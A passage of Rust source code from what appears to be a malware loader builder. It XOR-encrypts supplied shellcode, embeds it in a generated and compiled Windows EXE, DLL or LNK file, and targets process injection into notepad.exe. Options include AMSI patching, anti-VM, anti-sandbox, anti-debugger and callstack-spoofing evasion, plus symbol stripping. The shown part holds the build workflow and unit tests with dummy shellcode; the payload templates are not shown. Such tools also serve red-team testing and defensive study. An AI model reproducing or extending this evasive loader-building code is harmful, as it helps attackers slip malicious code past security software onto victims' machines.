where the binary should be copied 979 /// * `dest_name` - Name for the copied binary 980 /// 981 /// Returns the path to the copied binary if successful, otherwise returns an error. 982 pub fn copy_binary(source: &Path, dest_dir: &Path, dest_name: &str) -> io::Result<PathBuf> { 983 let dest_path = dest_dir.join(dest_name); 984 fs::copy(source, &dest_path)?; 985 986 Ok(dest_path) 987 } 988 989 /// Complete workflow: initialize, build, and copy a Rust project 990 /// 991 /// This is the main entry point that orchestrates the entire process: 992 /// 1. Initializes a Rust project with release profile configured for stripping 993 /// 2. Builds it in release mode (symbols are automatically stripped by Cargo) 994 /// 3. Verifies the binary is valid 995 /// 4. Copies the binary to the original working directory with the specified name 996 /// 997 /// Note: Symbol stripping is handled by Cargo's profile.release.strip = true setting, 998 /// so binaries are automatically stripped during compilation without needing post-processing. 999 /// 1000 /// # Arguments 1001 /// 1002 /// * `config` - Build configuration containing all necessary parameters 1003 /// 1004 /// Returns the path to the final binary if successful, otherwise returns an error. 1005 pub fn setup_and_build_project(config: &BuildConfig) -> io::Result<PathBuf> { 1006 if matches!(config.binary_format, BinaryFormat::Lnk) { 1007 let (encrypted_shellcode, _encryption_type_str, _key_bytes) = prepare_shellcode_encryption( 1008 config.shellcode_data, 1009 config.encryption_kind, 1010 config.encryption_key, 1011 )?; 1012 1013 let lnk_path = std::env::current_dir()?.join(config.output_name); 1014 1015 let default_encryption = EncryptionKind::XOR; 1016 let encryption_kind = config.encryption_kind.unwrap_or(&default_encryption); 1017 let encryption_key = config.encryption_key.unwrap_or("default_key"); 1018 1019 crate::internals::lnk_generator::generate_lnk_file( 1020 &encrypted_shellcode, 1021 &lnk_path, 1022 encryption_kind, 1023 config.technique, 1024 encryption_key, 1025 config.process, 1026 )?; 1027 1028 let final_path = copy_binary(&lnk_path, config.original_cwd, config.output_name)?; 1029 Ok(final_path) 1030 } else { 1031 init_rust_project(config)?; 1032 let binary_path = build_release(config.project_name, config.binary_format)?; 1033 verify_binary(&binary_path)?; 1034 let final_path = copy_binary(&binary_path, config.original_cwd, config.output_name)?; 1035 Ok(final_path) 1036 } 1037 } 1038 1039 #[cfg(test)] 1040 fn init_rust_project_for_test( 1041 project_name: &str, 1042 shellcode_data: &[u8], 1043 binary_format: &BinaryFormat, 1044 ) -> io::Result<()> { 1045 let encryption_kind = EncryptionKind::XOR; 1046 let encryption_key = "test_key_12345"; 1047 let technique = Technique::CRT; 1048 let process = "notepad.exe"; 1049 1050 let (encrypted_shellcode, encryption_type_str, key_bytes) = 1051 prepare_shellcode_encryption(shellcode_data, Some(&encryption_kind), Some(encryption_key))?; 1052 1053 write_cargo_toml( 1054 project_name, 1055 binary_format, 1056 encryption_type_str, 1057 false, 1058 false, 1059 false, 1060 )?; 1061 1062 fs::create_dir_all("src")?; 1063 1064 let internals_source = 1065 generate_internals_with_crypto_and_strings(encryption_type_str, false, false)?; 1066 let source_code = generate_source_code(SourceCodeParams { 1067 binary_format, 1068 internals_source: &internals_source, 1069 encryption: EncryptionParams { 1070 encrypted_shellcode: &encrypted_shellcode, 1071 key_bytes: &key_bytes, 1072 encryption_type: encryption_type_str, 1073 }, 1074 technique_params: TechniqueParams { 1075 technique: &technique, 1076 process, 1077 }, 1078 with_api_hammering: false, 1079 with_amsi_patch: false, 1080 with_string_encryption: false, 1081 with_dynamic_function_resolver: false, 1082 with_anti_vm: false, 1083 with_anti_sandbox: false, 1084 with_anti_debugger: false, 1085 with_callstack_spoofing: false, 1086 encryption_kind: Some(&encryption_kind), 1087 encryption_key: Some(encryption_key), 1088 })?; 1089 1090 let file_name = match binary_format { 1091 BinaryFormat::Exe => "src/main.rs", 1092 BinaryFormat::Dll => "src/lib.rs", 1093 BinaryFormat::Lnk => return Ok(()), // LNK doesn't need source file 1094 }; 1095 1096 fs::write(file_name, source_code)?; 1097 1098 Ok(()) 1099 } 1100 1101 #[cfg(test)] 1102 fn setup_and_build_project_for_test( 1103 project_name: &str, 1104 output_name: &str, 1105 original_cwd: &Path, 1106 shellcode_data: &[u8], 1107 binary_format: &BinaryFormat, 1108 ) -> io::Result<PathBuf> { 1109 init_rust_project_for_test(project_name, shellcode_data, binary_format)?; 1110 let binary_path = build_release(project_name, binary_format)?; 1111 verify_binary(&binary_path)?; 1112 let final_path = copy_binary(&binary_path, original_cwd, output_name)?; 1113 Ok(final_path) 1114 } 1115 1116 #[cfg(test)] 1117 mod tests { 1118 use super::*; 1119 use crate::TEST_DIR_MUTEX; 1120 use std::env; 1121 1122 #[test] 1123 fn test_init_rust_project() { 1124 let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner()); 1125 1126 let test_dir = env::temp_dir().join(format!("rust-project-test-{}", rand::random::<u32>())); 1127 fs::create_dir_all(&test_dir).unwrap(); 1128 1129 let original_dir = env::current_dir().unwrap(); 1130 env::set_current_dir(&test_dir).unwrap(); 1131 1132 let shellcode = b"test shellcode"; 1133 let encryption_kind = EncryptionKind::XOR; 1134 let technique = Technique::CRT; 1135 1136 let config = BuildConfig { 1137 project_name: "test_project", 1138 output_name: "test_output", 1139 original_cwd: &original_dir, 1140 shellcode_data: shellcode, 1141 binary_format: &BinaryFormat::Exe, 1142 encryption_kind: Some(&encryption_kind), 1143 encryption_key: Some("test_key_123"), 1144 technique: &technique, 1145 process: "notepad.exe", 1146 with_api_hammering: false, 1147 with_amsi_patch: false, 1148 with_string_encryption: false, 1149 with_dynamic_function_resolver: false, 1150 with_anti_vm: false, 1151 with_anti_sandbox: false, 1152 with_anti_debugger: false, 1153 with_callstack_spoofing: false, 1154 low_resources: false, 1155 }; 1156 1157 let result = init_rust_project(&config); 1158 assert!(result.is_ok(), "should successfully initialize project"); 1159 1160 assert!(Path::new("Cargo.toml").exists(), "Cargo.toml should exist"); 1161 assert!( 1162 Path::new("src/main.rs").exists(), 1163 "src/main.rs should exist" 1164 ); 1165 1166 let cargo_content = fs::read_to_string("Cargo.toml").unwrap(); 1167 assert!( 1168 cargo_content.contains("test_project"), 1169 "Cargo.toml should contain project name" 1170 ); 1171 1172 env::set_current_dir(&original_dir).unwrap(); 1173 let _ = fs::remove_dir_all(&test_dir); 1174 } 1175 1176 #[test] 1177 #[ignore = "requires x86_64-pc-windows-gnu target"] 1178 fn test_build_release() { 1179 let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner()); 1180 1181 let original_dir = env::current_dir().unwrap(); 1182 1183 struct DirGuard(PathBuf); 1184 impl Drop for DirGuard { 1185 fn drop(&mut self) { 1186 let _ = env::set_current_dir(&self.0); 1187 } 1188 } 1189 let _guard = DirGuard(original_dir.clone()); 1190 1191 let test_dir = env::temp_dir().join(format!("rust-build-test-{}", rand::random::<u32>())); 1192 fs::create_dir_all(&test_dir).unwrap(); 1193 1194 env::set_current_dir(&test_dir).unwrap(); 1195 1196 let shellcode = b"test"; 1197 let encryption_kind = EncryptionKind::XOR; 1198 let technique = Technique::CRT; 1199 1200 let config = BuildConfig { 1201 project_name: "build_test", 1202 output_name: "build_output", 1203 original_cwd: &original_dir, 1204 shellcode_data: shellcode, 1205 binary_format: &BinaryFormat::Exe, 1206 encryption_kind: Some(&encryption_kind), 1207 encryption_key: Some("test_key_123"), 1208 technique: &technique, 1209 process: "notepad.exe", 1210 with_api_hammering: false, 1211 with_amsi_patch: false, 1212 with_string_encryption: false, 1213 with_dynamic_function_resolver: false, 1214 with_anti_vm: false, 1215 with_anti_sandbox: false, 1216 with_anti_debugger: false, 1217 with_callstack_spoofing: false, 1218 low_resources: false, 1219 }; 1220 1221 init_rust_project_with_target(&config).unwrap(); 1222 let result = build_release("build_test", &BinaryFormat::Exe); 1223 1224 assert!( 1225 result.is_ok(), 1226 "should successfully build project: {:?}", 1227 result.err() 1228 ); 1229 1230 let _ = env::set_current_dir(&original_dir); 1231 let _ = fs::remove_dir_all(&test_dir); 1232 } 1233 1234 #[test] 1235 fn test_copy_binary() { 1236 let source_dir = env::temp_dir().join(format!("copy-source-{}", rand::random::<u32>())); 1237 let dest_dir = env::temp_dir().join(format!("copy-dest-{}", rand::random::<u32>())); 1238 fs::create_dir_all(&source_dir).unwrap(); 1239 fs::create_dir_all(&dest_dir).unwrap(); 1240 1241 let source_file = source_dir.join("test_binary"); 1242 fs::write(&source_file, b"fake binary content").unwrap(); 1243 1244 let result = copy_binary(&source_file, &dest_dir, "output.exe"); 1245 assert!(result.is_ok(), "should successfully copy binary"); 1246 1247 let dest_file = result.unwrap(); 1248 assert!(dest_file.exists(), "copied file should exist"); 1249 assert_eq!( 1250 dest_file.file_name().unwrap(), 1251 "output.exe", 1252 "should have correct name" 1253 ); 1254 1255 let content = fs::read(&dest_file).unwrap(); 1256 assert_eq!(content, b"fake binary content", "content should match"); 1257 1258 let _ = fs::remove_dir_all(&source_dir); 1259 let _ = fs::remove_dir_all(&dest_dir); 1260 } 1261 1262 #[test] 1263 #[ignore = "requires x86_64-pc-windows-gnu target"] 1264 fn test_setup_and_build_project_integration() { 1265 let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner()); 1266 1267 let saved_dir = env::current_dir().unwrap(); 1268 1269 struct DirGuard(PathBuf); 1270 impl Drop for DirGuard { 1271 fn drop(&mut self) { 1272 let _ = env::set_current_dir(&self.0); 1273 } 1274 } 1275 let _guard = DirGuard(saved_dir.clone()); 1276 1277 let work_dir = env::temp_dir().join(format!("integration-work-{}", rand::random::<u32>())); 1278 let original_dir = 1279 env::temp_dir().join(format!("integration-orig-{}", rand::random::<u32>())); 1280 fs::create_dir_all(&work_dir).unwrap(); 1281 fs::create_dir_all(&original_dir).unwrap(); 1282 1283 env::set_current_dir(&work_dir).unwrap(); 1284 1285 let shellcode = b"test shellcode data"; 1286 let result = setup_and_build_project_for_test( 1287 "myproject", 1288 "final_binary", 1289 &original_dir, 1290 shellcode, 1291 &BinaryFormat::Exe, 1292 ); 1293 assert!( 1294 result.is_ok(), 1295 "complete workflow should succeed: {:?}", 1296 result.err() 1297 ); 1298 1299 let final_binary = result.unwrap(); 1300 assert!(final_binary.exists(), "final binary should exist"); 1301 assert_eq!( 1302 final_binary.file_name().unwrap(), 1303 "final_binary", 1304 "should have correct name" 1305 ); 1306 assert!( 1307 final_binary.parent().unwrap() == original_dir, 1308 "should be in original directory" 1309 ); 1310 1311 let _ = env::set_current_dir(&saved_dir); 1312 let _ = fs::remove_dir_all(&work_dir); 1313 let _ = fs::remove_dir_all(&original_dir); 1314 } 1315 1316 #[test] 1317 fn test_build_release_nonexistent_project() { 1318 let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner()); 1319 1320 let original_dir = env::current_dir().unwrap(); 1321 1322 struct DirGuard(PathBuf); 1323 impl Drop for DirGuard { 1324 fn drop(&mut self) { 1325 let _ = env::set_current_dir(&self.0); 1326 } 1327 } 1328 let _guard = DirGuard(original_dir.clone()); 1329 1330 let test_dir = env::temp_dir().join(format!("no-project-{}", rand::random::<u32>())); 1331 fs::create_dir_all(&test_dir).unwrap(); 1332 env::set_current_dir(&test_dir).unwrap(); 1333 1334 let result = build_release("nonexistent", &BinaryFormat::Exe); 1335 assert!(result.is_err(), "should fail when project doesn't exist"); 1336 1337 let _ = env::set_current_dir(&original_dir); 1338 let _ = fs::remove_dir_all(&test_dir); 1339 } 1340 1341 #[test] 1342 fn test_copy_binary_nonexistent_source() { 1343 let dest_dir = env::temp_dir().join(format!("copy-fail-{}", rand::random::<u32>())); 1344 fs::create_dir_all(&dest_dir).unwrap(); 1345 1346 let nonexistent = PathBuf::from("/nonexistent/path/binary"); 1347 let result = copy_binary(&nonexistent, &dest_dir, "output"); 1348 assert!(result.is_err(), "should fail when source doesn't exist"); 1349 1350 let _ = fs::remove_dir_all(&dest_dir); 1351 } 1352 1353 #[test] 1354 #[ignore = "requires x86_64-pc-windows-gnu target"] 1355 fn test_strip_binary() { 1356 let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner()); 1357 1358 let original_dir = env::current_dir().unwrap(); 1359 1360 struct DirGuard(PathBuf); 1361 impl Drop for DirGuard { 1362 fn drop(&mut self) { 1363 let _ = env::set_current_dir(&self.0); 1364 } 1365 } 1366 let _guard = DirGuard(original_dir.clone()); 1367 1368 let test_dir = env::temp_dir().join(format!("strip-test-{}", rand::random::<u32>())); 1369 fs::create_dir_all(&test_dir).unwrap(); 1370 env::set_current_dir(&test_dir).unwrap(); 1371 1372 let encryption_kind = EncryptionKind::XOR; 1373 let technique = Technique::CRT; 1374 1375 let config = BuildConfig { 1376 project_name: "strip_test", 1377 output_name: "strip_output", 1378 original_cwd: &original_dir, 1379 shellcode_data: b"test", 1380 binary_format: &BinaryFormat::Exe, 1381 encryption_kind: Some(&encryption_kind), 1382 encryption_key: Some("test_key_123"), 1383 technique: &technique, 1384 process: "notepad.exe", 1385 with_api_hammering: false, 1386 with_amsi_patch: false, 1387 with_string_encryption: false, 1388 with_dynamic_function_resolver: false, 1389 with_anti_vm: false, 1390 with_anti_sandbox: false, 1391 with_anti_debugger: false, 1392 with_callstack_spoofing: false, 1393 low_resources: false, 1394 }; 1395 1396 init_rust_project_with_target(&config).unwrap(); 1397 let binary_path = build_release("strip_test", &BinaryFormat::Exe).unwrap(); 1398 1399 let cargo_content = fs::read_to_string("Cargo.toml").unwrap(); 1400 assert!( 1401 cargo_content.contains("strip = true"), 1402 "Cargo.toml should contain strip = true" 1403 ); 1404 1405 let result = verify_binary(&binary_path); 1406 assert!(result.is_ok(), "should successfully verify binary"); 1407 1408 // Check executable permissions (Unix only) 1409 #[cfg(unix)] 1410 { 1411 use std::os::unix::fs::PermissionsExt; 1412 let metadata = fs::metadata(&binary_path).unwrap(); 1413 assert!( 1414 metadata.permissions().mode() & 0o111 != 0, 1415 "binary should be executable" 1416 ); 1417 } 1418 1419 println!("Binary built with Cargo strip = true setting"); 1420 1421 let _ = env::set_current_dir(&original_dir); 1422 let _ = fs::remove_dir_all(&test_dir); 1423 } 1424 1425 #[test] 1426 fn test_verify_binary() { 1427 let nonexistent = PathBuf::from("/nonexistent/path/binary"); 1428 let result = verify_binary(&nonexistent); 1429 assert!(result.is_err(), "should fail when binary doesn't exist"); 1430 1431 let test_dir = env::temp_dir().join(format!("verify-test-{}", rand::random::<u32>())); 1432 fs::create_dir_all(&test_dir).unwrap(); 1433 1434 let fake_binary = test_dir.join("fake_binary"); 1435 fs::write( 1436 &fake_binary, 1437 b"this is just some text, not a binary at all!", 1438 ) 1439 .unwrap(); 1440 1441 let _ = verify_binary(&fake_binary); 1442 1443 let _ = fs::remove_dir_all(&test_dir); 1444 } 1445 1446 #[test] 1447 #[ignore = "requires x86_64-pc-windows-gnu target"] 1448 fn test_generated_template_with_internals() { 1449 let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner()); 1450 1451 let original_dir = env::current_dir().unwrap(); 1452 1453 struct DirGuard(PathBuf); 1454 impl Drop for DirGuard { 1455 fn drop(&mut self) { 1456 let _ = env::set_current_dir(&self.0); 1457 } 1458 } 1459 let _guard = DirGuard(original_dir.clone()); 1460 1461 let test_dir = env::temp_dir().join(format!("template-test-{}", rand::random::<u32>())); 1462 fs::create_dir_all(&test_dir).unwrap(); 1463 env::set_current_dir(&test_dir).unwrap(); 1464 1465 let encryption_kind = EncryptionKind::XOR; 1466 let technique = Technique::CRT; 1467 1468 let config = BuildConfig { 1469 project_name: "template_test", 1470 output_name: "template_output", 1471 original_cwd: &original_dir, 1472 shellcode_data: b"shellcode", 1473 binary_format: &BinaryFormat::Exe, 1474 encryption_kind: Some(&encryption_kind), 1475 encryption_key: Some("test_key_123"), 1476 technique: &technique, 1477 process: "notepad.exe", 1478 with_api_hammering: false, 1479 with_amsi_patch: false, 1480 with_string_encryption: false, 1481 with_dynamic_function_resolver: false, 1482 with_anti_vm: false, 1483 with_anti_sandbox: false, 1484 with_anti_debugger: false, 1485 with_callstack_spoofing: false, 1486 low_resources: false, 1487 }; 1488 1489 init_rust_project_with_target(&config).unwrap(); 1490 1491 let main_rs = fs::read_to_string("src/main.rs").unwrap(); 1492 assert!( 1493 main_rs.contains("mod internals"), 1494 "Generated template should contain internals module" 1495 ); 1496 assert!( 1497 main_rs.contains("pub fn hex_to_bytes"), 1498 "Generated template should contain hex_to_bytes function" 1499 ); 1500 assert!( 1501 main_rs.contains("pub fn bytes_to_hex"), 1502 "Generated template should contain bytes_to_hex function" 1503 ); 1504 1505 let binary_path = build_release("template_test", &BinaryFormat::Exe).unwrap(); 1506 assert!(binary_path.exists(), "Binary should be built successfully"); 1507 1508 let _ = env::set_current_dir(&original_dir); 1509 let _ = fs::remove_dir_all(&test_dir); 1510 } 1511 1512 #[test] 1513 fn test_init_rust_project_dll() { 1514 let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner()); 1515 1516 let test_dir = env::temp_dir().join(format!("dll-project-test-{}", rand::random::<u32>())); 1517 fs::create_dir_all(&test_dir).unwrap(); 1518 1519 let original_dir = env::current_dir().unwrap(); 1520 env::set_current_dir(&test_dir).unwrap(); 1521 1522 let shellcode = b"test shellcode"; 1523 let encryption_kind = EncryptionKind::XOR; 1524 let technique = Technique::CRT; 1525 1526 let config = BuildConfig { 1527 project_name: "test_dll", 1528 output_name: "test_output", 1529 original_cwd: &original_dir, 1530 shellcode_data: shellcode, 1531 binary_format: &BinaryFormat::Dll, 1532 encryption_kind: Some(&encryption_kind), 1533 encryption_key: Some("test_key_123"), 1534 technique: &technique, 1535 process: "notepad.exe", 1536 with_api_hammering: false, 1537 with_amsi_patch: false, 1538 with_string_encryption: false, 1539 with_dynamic_function_resolver: false, 1540 with_anti_vm: false, 1541 with_anti_sandbox: false, 1542 with_anti_debugger: false, 1543 with_callstack_spoofing: false, 1544 low_resources: false, 1545 }; 1546 1547 let result = init_rust_project(&config); 1548 assert!(result.is_ok(), "should successfully initialize DLL project"); 1549 1550 assert!(Path::new("Cargo.toml").exists(), "Cargo.toml should exist"); 1551 assert!( 1552 Path::new("src/lib.rs").exists(), 1553 "src/lib.rs should exist for DLL" 1554 ); 1555 1556 let cargo_content = fs::read_to_string("Cargo.toml").unwrap(); 1557 assert!( 1558 cargo_content.contains("cdylib"), 1559 "Cargo.toml should contain cdylib for DLL" 1560 ); 1561 1562 let lib_content = fs::read_to_string("src/lib.rs").unwrap(); 1563 assert!( 1564 lib_content.contains("DllMain"), 1565 "lib.rs should contain DllMain for DLL" 1566 ); 1567 1568 env::set_current_dir(&original_dir).unwrap(); 1569 let _ = fs::remove_dir_all(&test_dir); 1570 } 1571 1572 #[test] 1573 fn test_shellcode_embedding() { 1574 let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner()); 1575 1576 let test_dir = 1577 env::temp_dir().join(format!("shellcode-embed-test-{}", rand::random::<u32>())); 1578 fs::create_dir_all(&test_dir).unwrap(); 1579 1580 let original_dir = env::current_dir().unwrap(); 1581 env::set_current_dir(&test_dir).unwrap(); 1582 1583 let shellcode = b"\x90\x90\x90\xc3"; 1584 let encryption_kind = EncryptionKind::XOR; 1585 let technique = Technique::CRT; 1586 1587 let config = BuildConfig { 1588 project_name: "embed_test", 1589 output_name: "embed_output", 1590 original_cwd: &original_dir, 1591 shellcode_data: shellcode, 1592 binary_format: &BinaryFormat::Exe, 1593 encryption_kind: Some(&encryption_kind), 1594 encryption_key: Some("test_key_123"), 1595 technique: &technique, 1596 process: "notepad.exe", 1597 with_api_hammering: false, 1598 with_amsi_patch: false, 1599 with_string_encryption: false, 1600 with_dynamic_function_resolver: false, 1601 with_anti_vm: false, 1602 with_anti_sandbox: false, 1603 with_anti_debugger: false, 1604 with_callstack_spoofing: false, 1605 low_resources: false, 1606 }; 1607 1608 let result = init_rust_project(&config); 1609 assert!(result.is_ok(), "should successfully initialize project"); 1610 1611 let main_rs = fs::read_to_string("src/main.rs").unwrap(); 1612 assert!( 1613 main_rs.contains("const ENCRYPTED_SHELLCODE: &[u8]"), 1614 "main.rs should contain ENCRYPTED_SHELLCODE constant" 1615 ); 1616 assert!( 1617 main_rs.contains("const DECRYPTION_KEY: &[u8]"), 1618 "main.rs should contain DECRYPTION_KEY constant" 1619 ); 1620 assert!( 1621 main_rs.contains("0x") && main_rs.contains("ENCRYPTED_SHELLCODE"), 1622 "main.rs should contain embedded encrypted shellcode bytes" 1623 ); 1624 1625 env::set_current_dir(&original_dir).unwrap(); 1626 let _ = fs::remove_dir_all(&test_dir); 1627 } 1628 1629 #[test] 1630 fn test_format_bytes_as_array() { 1631 let bytes = vec![0x01, 0x02, 0xFF]; 1632 let result = format_bytes_as_array(&bytes); 1633 assert_eq!(result, "[0x01, 0x02, 0xff]"); 1634 1635 let empty: Vec<u8> = vec![]; 1636 let result = format_bytes_as_array(&empty); 1637 assert_eq!(result, "[]"); 1638 } 1639 1640 #[test] 1641 fn test_build_env_builder_missing_fields() { 1642 let result = BuildEnv::new().build(); 1643 assert!(result.is_err(), "should fail when project name is missing"); 1644 assert!(result 1645 .unwrap_err() 1646 .to_string() 1647 .contains("Project name is required")); 1648 1649 let result = BuildEnv::new().with_project_name("test").build(); 1650 assert!(result.is_err(), "should fail when output name is missing"); 1651 assert!(result 1652 .unwrap_err() 1653 .to_string() 1654 .contains("Output name is required")); 1655 } 1656 1657 #[test] 1658 fn test_build_env_builder_pattern() { 1659 let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner()); 1660 1661 let original_dir = env::current_dir().unwrap(); 1662 let work_dir = env::temp_dir().join(format!("builder-work-{}", rand::random::<u32>())); 1663 let output_dir = env::temp_dir().join(format!("builder-out-{}", rand::random::<u32>())); 1664 fs::create_dir_all(&work_dir).unwrap(); 1665 fs::create_dir_all(&output_dir).unwrap(); 1666 1667 env::set_current_dir(&work_dir).unwrap(); 1668 1669 let shellcode = b"test"; 1670 let _result = BuildEnv::new() 1671 .with_project_name("test_project") 1672 .with_output_name("output.exe") 1673 .with_original_cwd(&output_dir) 1674 .with_shellcode(shellcode) 1675 .with_binary_format(&BinaryFormat::Exe) 1676 .build(); 1677 1678 env::set_current_dir(&original_dir).unwrap(); 1679 let _ = fs::remove_dir_all(&work_dir); 1680 let _ = fs::remove_dir_all(&output_dir); 1681 } 1682 }